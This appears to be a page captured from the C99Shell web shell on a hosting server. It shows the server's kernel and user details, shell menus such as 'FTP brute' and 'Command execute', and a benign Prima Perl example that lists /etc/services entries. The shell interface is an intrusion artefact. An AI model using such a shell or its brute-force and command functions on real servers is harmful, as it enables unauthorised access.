!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux web25.us.cloudlogin.co 5.10.237-xeon-hst #1 SMP Mon May 5 15:10:04 UTC 2025 x86_64 

uid=233359(alpastrology) gid=888(tty) groups=888(tty),33(tape) 

Safe-mode: OFF (not secure)

/usr/lib64/perl5/vendor_perl/Prima/examples/   drwxr-xr-x
Free 6181.86 GB of 6263.06 GB (98.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     sheet.pl (2 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
=pod

=head1 NAME

examples/sheet.pl - Prima DetailedList widget example

=head1 FEATURES

Demonstrates the usage of L<Prima::DetailedList> class.
Note the header-driven actions: column sort ( vertical, with click ) and
rearrangement ( horizontal, with drag ).

=cut

use strict;
use warnings;
use Prima;
use Prima::DetailedList;

package Sheet;


use Prima;
use Prima::Header;
use Prima::Application;

my $w = Prima::MainWindow-> create( packPropagate => 0);

my @items;

my $fname;

my $os = Prima::Application-> get_system_info;
if ( $os-> {apc} == apc::Unix) {
    $fname = '/etc/services';
} elsif ( $os-> {apc} == apc::Win32) {
    $fname =
    ( $os-> {system} eq 'Windows NT') ?
        "$ENV{SYSTEMROOT}\\system32\\drivers\\etc\\services" : undef;
};

if ( defined $fname) {
    open F, $fname;
    while (<F>) {
        next if /^#/;
        chomp;
        s/\t/ /g;
        next unless /^(\w+)\s+(\d+)(\\|\/)(\w+)\s+?\#\s*(.*)$/;
        push ( @items, [ $1, $2, $4, $5]);
    }
    close F;
} else {
    push ( @items,
    [qw(domain   53 tcp       Domain_Name_Server    )],
    [qw(domain   53 udp       Domain_Name_Server    )],
    [qw(xns-ch   54 tcp       XNS_Clearinghouse     )],
    [qw(xns-ch   54 udp       XNS_Clearinghouse     )],
    [qw(isi-gl   55 tcp       ISI_Graphics_Language )],
    [qw(isi-gl   55 udp       ISI_Graphics_Language )],
    [qw(xns-auth 56 tcp       XNS_Authentication    )],
    );
}

my $l = $w-> insert( DetailedList =>
    pack    => { expand => 1, fill => 'both' },
    items   => \@items,
    headers => [ 'Service' , 'Port', 'Protocol', 'Description'],
    aligns  => [undef, ta::Right],
    columns => 4,
    onSort => sub {
        my ( $self, $col, $dir) = @_;
        return if $col != 1;
        if ( $dir) {
            $self-> {items} = [
                sort { $$a[$col] <=> $$b[$col]}
                @{$self-> {items}}
            ];
        } else {
            $self-> {items} = [
                sort { $$b[$col] <=> $$a[$col]}
                @{$self-> {items}}
            ];
        }
        $self-> clear_event;
    },
);

#$::application-> yield;
#my $h = $l-> { header};
#$h-> { widths}-> [0] += 50;
#$h-> recalc_maxwidth;
#$l-> Header_SizeItem( $h, 0, $h-> { widths}-> [0] - 50, $h-> { widths}-> [0]);

run Prima;


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0108 ]--